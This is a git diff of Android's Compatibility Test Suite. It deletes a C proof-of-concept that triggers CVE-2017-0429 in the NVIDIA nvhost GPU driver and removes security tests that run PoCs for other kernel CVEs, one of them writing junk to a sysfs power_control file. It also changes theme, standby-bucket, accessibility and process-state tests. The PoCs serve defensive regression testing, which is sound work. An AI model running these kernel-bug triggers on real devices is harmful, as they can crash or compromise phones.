diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
-	__u32 handle;		/* nvmap handle */
-	__u32 heap_mask;	/* heaps to allocate from */
-	__u32 flags;		/* wb/wc/uc/iwb etc. */
-	__u32 align;		/* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
-	int ret = 0;
-	cpu_set_t mask;
-	CPU_ZERO(&mask);
-	CPU_SET(num, &mask);
-	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- 	return ret;
-}
-
-#define SZ_128K				0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
-	__u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
-	__u64 offset; /* in, byte address */
-	__u32 pages;     /* in, pages */
-	__u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
-	__u32 pages;     /* in, pages */
-	__u32 page_size; /* in, bytes */
-	__u32 flags;     /* in */
-	__u32 padding;     /* in */
-	union {
-		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
-		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
-	} o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM	1
-#define TRY_TIMES		2
-#define NVMAPDEV	"/dev/nvmap"
-#define GPUDEV		"/dev/nvhost-gpu"
-#define ASDEV		"/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
-	int i, j, ret;
-	int dma1, dma2;
-	struct nvmap_create_handle args = { 
-		.size = PAGE_SIZE
-	};
-	struct nvhost_as_bind_channel_args as_bind = { 0 };
-	struct nvhost_as_alloc_space_args alloc = {
-		.pages = 1,
-		.page_size =  SZ_128K,
-		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
-	};
-	struct nvhost_as_free_space_args free_arg = {
-		.pages = 1,
-		.page_size = SZ_128K
-	};
-
-	/* bind_cpu */
-	set_affinity(0);
-
-	nvmap = open(NVMAPDEV, O_RDONLY);
-	if(nvmap == -1) {
-		ERR("[-] open %s failed", NVMAPDEV);
-		goto __cleanup;
-	}
-	gpu = open(GPUDEV, O_RDONLY);
-	if(gpu == -1) {
-		ERR("[-] open %s failed", GPUDEV);
-		goto __cleanup;
-	}
-	asgpu = open(ASDEV, O_RDONLY);
-	if(asgpu == -1) {
-		ERR("[-] open %s failed", ASDEV);
-		goto __cleanup;
-	}
-	// bind the channel
-	as_bind.channel_fd = gpu;
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
-	if(ret == -1) {
-		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
-		goto __cleanup;
-	} else {
-		//LOG("[+] ioctl OK, channel is bond");
-	}
-
-	#if 1
-	// prepare 
-	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
-	if(ret) {
-		ERR("[-] NVMAP_IOC_CREATE failed");
-		goto __cleanup;
-	}
-	#endif
-
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
-	if(ret) {
-		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
-		goto __cleanup;
-	}
-	free_arg.offset = alloc.o_a.offset;
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
-	if(ret) {
-		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
-		goto __cleanup;
-	}
-
-__cleanup:
-	close(nvmap);
-	close(gpu);
-	close(asgpu);
-	return 0;
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index 7e24e8f..1592182 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -139,73 +139,6 @@
     }
 
     /**
-     *  b/32700935
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8435() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31568617
-     */
-    @SecurityTest
-    public void testPocCVE_2016_9120() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ion")) {
-            AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
-        }
-    }
-
-    //Highs
-    /**
-     *  b/31225246
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8412() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
-            AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31243641
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8444() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
-            AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31791148
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8448() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
-            AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31798848
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8449() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
-            AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
-        }
-    }
-
-    /**
      *  b/31668540
      */
     @SecurityTest
@@ -217,37 +150,6 @@
     }
 
     /**
-     *  b/32402548
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0403() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
-    }
-
-    /**
-     *  b/32510733
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0404() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/proc/asound/version")) {
-            AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32178033
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8451() throws Exception {
-        enableAdbRoot(getDevice());
-        String command =
-            "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
-        AdbUtils.runCommandLine(command, getDevice());
-    }
-
-    /**
      *  b/32659848
      */
     @SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index 18bfb16..4fd98b7 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -30,47 +30,4 @@
             AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
         }
     }
-
-   /**
-     *  b/32636619
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0429() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
-            enableAdbRoot(getDevice());
-            AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32219121
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8455() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
-    }
-
-   /**
-     *  b/32219255
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8456() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
-        // CTS begins the next test before device finishes rebooting,
-        // sleep to allow time for device to reboot.
-        Thread.sleep(60000);
-    }
-
-   /**
-     *  b/32219453
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8457() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
-        // Device takes up to 60 seconds to crash after PoC run.
-        Thread.sleep(60000);
-    }
- }
+}
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 4f93e5a..4bf32cd 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -67,6 +67,22 @@
 
      ./cts/hostsidetests/theme/generate_images.py
 
+There is an option to build locally an Android system image and use an emulator that is stored in
+Android source tree under "prebuilts/android-emulator/linux-x86_64/emulator". This option does not
+require a SDK and can be used to generate images with locally modified source code: for example
+right before making a test breaking change.
+
+  1. From the console, set up your build environment for sdk_phone_x86_64 and build Android and CTS:
+
+     lunch sdk_phone_x86_64-userdebug && make -j32 && make cts -j32
+
+  2. Use the reference image script to generate the reference images. The script
+     will automatically start the emulator in the required configurations and
+     install the resulting reference images in assets/<platform>/<dpi>.zip,
+     overwriting any existing images.
+
+     ./cts/hostsidetests/theme/generate_images.py local
+
 A complete collection of reference images for a given API revision must include
 a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
 
diff --git a/hostsidetests/theme/assets/P/260dpi.zip b/hostsidetests/theme/assets/P/260dpi.zip
index a1a3bcd..592b4a6 100644
--- a/hostsidetests/theme/assets/P/260dpi.zip
+++ b/hostsidetests/theme/assets/P/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/280dpi.zip b/hostsidetests/theme/assets/P/280dpi.zip
index b80d130..a7e07a7 100644
--- a/hostsidetests/theme/assets/P/280dpi.zip
+++ b/hostsidetests/theme/assets/P/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/300dpi.zip b/hostsidetests/theme/assets/P/300dpi.zip
index 8164d3d..1f38851 100644
--- a/hostsidetests/theme/assets/P/300dpi.zip
+++ b/hostsidetests/theme/assets/P/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/340dpi.zip b/hostsidetests/theme/assets/P/340dpi.zip
index fd31e68..3eb10c8 100644
--- a/hostsidetests/theme/assets/P/340dpi.zip
+++ b/hostsidetests/theme/assets/P/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/360dpi.zip b/hostsidetests/theme/assets/P/360dpi.zip
index f4dd0c0..7da3a6d 100644
--- a/hostsidetests/theme/assets/P/360dpi.zip
+++ b/hostsidetests/theme/assets/P/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/400dpi.zip b/hostsidetests/theme/assets/P/400dpi.zip
index a3bfed9..0b2293a 100644
--- a/hostsidetests/theme/assets/P/400dpi.zip
+++ b/hostsidetests/theme/assets/P/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/420dpi.zip b/hostsidetests/theme/assets/P/420dpi.zip
index 36f87c1..8a93daa 100644
--- a/hostsidetests/theme/assets/P/420dpi.zip
+++ b/hostsidetests/theme/assets/P/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/560dpi.zip b/hostsidetests/theme/assets/P/560dpi.zip
index 1800f92..4c975b2 100644
--- a/hostsidetests/theme/assets/P/560dpi.zip
+++ b/hostsidetests/theme/assets/P/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/hdpi.zip b/hostsidetests/theme/assets/P/hdpi.zip
index a0e06de..38dbf01 100644
--- a/hostsidetests/theme/assets/P/hdpi.zip
+++ b/hostsidetests/theme/assets/P/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/ldpi.zip b/hostsidetests/theme/assets/P/ldpi.zip
index d47dcdb..cb8377e 100644
--- a/hostsidetests/theme/assets/P/ldpi.zip
+++ b/hostsidetests/theme/assets/P/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/mdpi.zip b/hostsidetests/theme/assets/P/mdpi.zip
index a1b08ec..a57e44c 100644
--- a/hostsidetests/theme/assets/P/mdpi.zip
+++ b/hostsidetests/theme/assets/P/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/tvdpi.zip b/hostsidetests/theme/assets/P/tvdpi.zip
index bfa6177..bae75c2 100644
--- a/hostsidetests/theme/assets/P/tvdpi.zip
+++ b/hostsidetests/theme/assets/P/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xhdpi.zip b/hostsidetests/theme/assets/P/xhdpi.zip
index 95a5012..ea545c5 100644
--- a/hostsidetests/theme/assets/P/xhdpi.zip
+++ b/hostsidetests/theme/assets/P/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxhdpi.zip b/hostsidetests/theme/assets/P/xxhdpi.zip
index c9ccfff..7621330 100644
--- a/hostsidetests/theme/assets/P/xxhdpi.zip
+++ b/hostsidetests/theme/assets/P/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxxhdpi.zip b/hostsidetests/theme/assets/P/xxxhdpi.zip
index af4914b..8690618 100644
--- a/hostsidetests/theme/assets/P/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/P/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 4c444a2..2a43129 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -46,8 +46,12 @@
         port_adb = find_free_port()
         port_tty = find_free_port()
         # -no-window might be useful here
-        emu_cmd = "%s -avd %s %s-ports %d,%d" \
-                  % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+        if self._name == "local":
+            emu_cmd = "emulator %s-ports %d,%d -gpu on -wipe-data" \
+                      % (self._opts, port_adb, port_tty)
+        else:
+            emu_cmd = "%s -avd %s %s-ports %d,%d" \
+                      % (self._emu_path, self._name, self._opts, port_adb, port_tty)
         print(emu_cmd)
 
         emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index c73457a..5dcc76f 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -181,7 +181,10 @@
 
 
 def start_emulator(name, density):
-    emu_path = get_emulator_path()
+    if name == "local":
+        emu_path = ""
+    else:
+        emu_path = get_emulator_path()
 
     # Start emulator for 560dpi, normal screen size.
     test_avd = AVD(name, emu_path)
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index 3cd7bda..7f4f550 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -16,10 +16,16 @@
 
 package android.app.usage.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
 
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
 public class AppIdleHostTest extends DeviceTestCase {
     private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
 
@@ -28,6 +34,12 @@
 
     private static final long ACTIVITY_LAUNCH_WAIT_MILLIS = 500;
 
+    private static final int SB_ACTIVE = 10;
+    private static final int SB_WORKING_SET = 20;
+    private static final int SB_FREQUENT = 30;
+    private static final int SB_RARE = 40;
+    private static final int SB_NEVER = 50;
+
     /**
      * A reference to the device under test.
      */
@@ -104,6 +116,47 @@
         }
     }
 
+    private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
+        mDevice.executeShellCommand(
+                String.format("am set-standby-bucket %s %s", packageName, bucket));
+    }
+
+    private int getAppStandbyBucket(String packageName) throws Exception {
+        String bucketString = mDevice.executeShellCommand(
+                String.format("am get-standby-bucket %s", packageName));
+        System.err.println(bucketString);
+        try {
+            return Integer.parseInt(bucketString.trim());
+        } catch (NumberFormatException nfe) {
+        }
+        return -1;
+    }
+
+    public void testSetAppStandbyBucket() throws Exception {
+        // Set to ACTIVE
+        setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+        // set to WORKING_SET
+        setAppStandbyBucket(TEST_APP_PACKAGE, 20);
+        assertEquals(20, getAppStandbyBucket(TEST_APP_PACKAGE));
+    }
+
+    public void testCantSetOwnStandbyBucket() throws Exception {
+        setAppStandbyBucket("com.android.shell", 40);
+        assertNotEquals(40, getAppStandbyBucket("com.android.shell"));
+    }
+
+    public void testOutOfBoundsStandbyBucket() throws Exception {
+        setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+        // Try lower than min
+        setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE - 1);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+        // Try higher than max
+        setAppStandbyBucket(TEST_APP_PACKAGE, 50 + 1);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+    }
+
     private static void sleepUninterrupted(long timeMillis) {
         boolean interrupted;
         do {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index 30d243b..0918a3b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -224,7 +224,7 @@
     }
 
     private void makeTestPackageStandbyActive() throws Exception {
-        mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " 0");
+        mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " active");
     }
 
     private boolean waitUntilTestAppNotInTempWhitelist() throws Exception {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index b14b76a..ca9b0b0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -16,6 +16,11 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.R;
+import android.accessibilityservice.cts.utils.AsyncUtils;
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.Notification;
@@ -30,16 +35,18 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.text.TextUtils;
 import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.ListView;
 
-import android.accessibilityservice.cts.R;
-
 import java.util.Iterator;
 import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.function.Consumer;
 
 /**
  * This class performs end-to-end testing of the accessibility feature by
@@ -430,6 +437,67 @@
         }
     }
 
+    @MediumTest
+    public void testNotObservedEventTypesNotGeneratedEvent() throws Throwable {
+        // Make sure we get only click events
+        await(updateServiceInfo(info -> info.eventTypes = AccessibilityEvent.TYPE_VIEW_SELECTED));
+        try {
+            AccessibilityManager am = getActivity().getSystemService(AccessibilityManager.class);
+            assertFalse(am.isObservedEventType(AccessibilityEvent.TYPE_ANNOUNCEMENT));
+            assertTrue(am.isObservedEventType(AccessibilityEvent.TYPE_VIEW_SELECTED));
+
+            Runnable triggerEvent = () -> {
+                getActivity().runOnUiThread(() -> {
+                    final ListView listView = getActivity().findViewById(R.id.listview);
+                    // Enforce only AccessibilityEvents of the observed type are being created
+                    listView.getRootView().setAccessibilityDelegate(
+                            new View.AccessibilityDelegate() {
+                                @Override
+                                public boolean onRequestSendAccessibilityEvent(ViewGroup host,
+                                        View child, AccessibilityEvent event) {
+                                    assertNotSame("TYPE_ANNOUNCEMENT events shouldn't be fired",
+                                            AccessibilityEvent.TYPE_ANNOUNCEMENT,
+                                            event.getEventType());
+                                    return true;
+                                }
+                            });
+                    listView.announceForAccessibility("Foo");
+                    listView.setSelection(1);
+                });
+            };
+            AccessibilityEvent awaitedEvent = getInstrumentation().getUiAutomation()
+                    .executeAndWaitForEvent(triggerEvent,
+                            event -> event.getEventType() == AccessibilityEvent.TYPE_VIEW_SELECTED,
+                            TIMEOUT_ASYNC_PROCESSING);
+            assertNotNull("Did not receive expected event", awaitedEvent);
+        } finally {
+            // Reset to listen to all events
+            updateServiceInfo(info -> info.eventTypes = AccessibilityEvent.TYPES_ALL_MASK);
+        }
+    }
+
+    private CompletableFuture<Void> updateServiceInfo(Consumer<AccessibilityServiceInfo> update) {
+        final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+        final AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
+
+        CompletableFuture<Void> result = new CompletableFuture<>();
+        getActivity().getSystemService(AccessibilityManager.class)
+                .addAccessibilityServicesStateChangeListener(
+                        new AccessibilityManager.AccessibilityServicesStateChangeListener() {
+                            @Override
+                            public void onAccessibilityServicesStateChanged(
+                                    AccessibilityManager a) {
+                                result.complete(null);
+                                a.removeAccessibilityServicesStateChangeListener(this);
+                            }
+                        }, null);
+
+        update.accept(info);
+        uiAutomation.setServiceInfo(info);
+
+        return result;
+    }
+
     /**
      * Compares all properties of the <code>first</code> and the
      * <code>second</code>.
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7c1ed0d..3ea386e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -35,10 +35,13 @@
 import android.os.PowerManager;
 import android.os.RemoteException;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
 
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+    private static final String TAG = ActivityManagerProcessStateTest.class.getName();
+
     private static final String STUB_PACKAGE_NAME = "android.app.stubs";
     private static final int WAIT_TIME = 2000;
     // A secondary test activity from another APK.
@@ -50,6 +53,8 @@
     public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
             "com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
 
+    private static final int TEMP_WHITELIST_DURATION_MS = 2000;
+
     private Context mContext;
     private Instrumentation mInstrumentation;
     private Intent mServiceIntent;
@@ -70,11 +75,18 @@
         mAllProcesses[1] = mService2Intent;
         mContext.stopService(mServiceIntent);
         mContext.stopService(mService2Intent);
+        removeTestAppFromWhitelists();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    private void removeTestAppFromWhitelists() throws Exception {
+        executeShellCmd("cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
+        executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+    }
+
+    private String executeShellCmd(String cmd) throws Exception {
+        final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
+        return result;
     }
 
     /**
@@ -162,7 +174,7 @@
             // Also make sure the uid state reports are as expected.  Wait for active because
             // there may be some intermediate states as the process comes up.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             // Pull out the service IBinder for a kludy hack...
@@ -206,7 +218,7 @@
 
             // Also make sure the uid state reports are as expected.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             // Bring down one service, app state should remain foreground.
@@ -232,7 +244,7 @@
             assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
                     am.getPackageImportance(SIMPLE_PACKAGE_NAME));
 
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             // Bring up other service, should remain foreground.
@@ -350,7 +362,8 @@
             }
 
             // Put app on temporary whitelist to see if this allows the service start.
-            cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+            cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
+                    TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
             result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
 
             // Try starting the service now that the app is whitelisted...  should work!
@@ -359,7 +372,7 @@
 
             // Also make sure the uid state reports are as expected.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // Good, now stop the service and give enough time to get off the temp whitelist.
@@ -369,7 +382,7 @@
             uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
-            Thread.sleep(3000);
+            executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
 
             // Going off the temp whitelist causes a spurious proc state report...  that's
             // not ideal, but okay.
@@ -401,7 +414,7 @@
             mContext.startService(serviceIntent);
             conn.waitForConnect(WAIT_TIME);
 
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // Okay, bring down the service.
@@ -533,7 +546,7 @@
 
             // Also make sure the uid state reports are as expected.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             conn2.unbind(WAIT_TIME);
@@ -551,7 +564,7 @@
             mContext.startService(mServiceIntent);
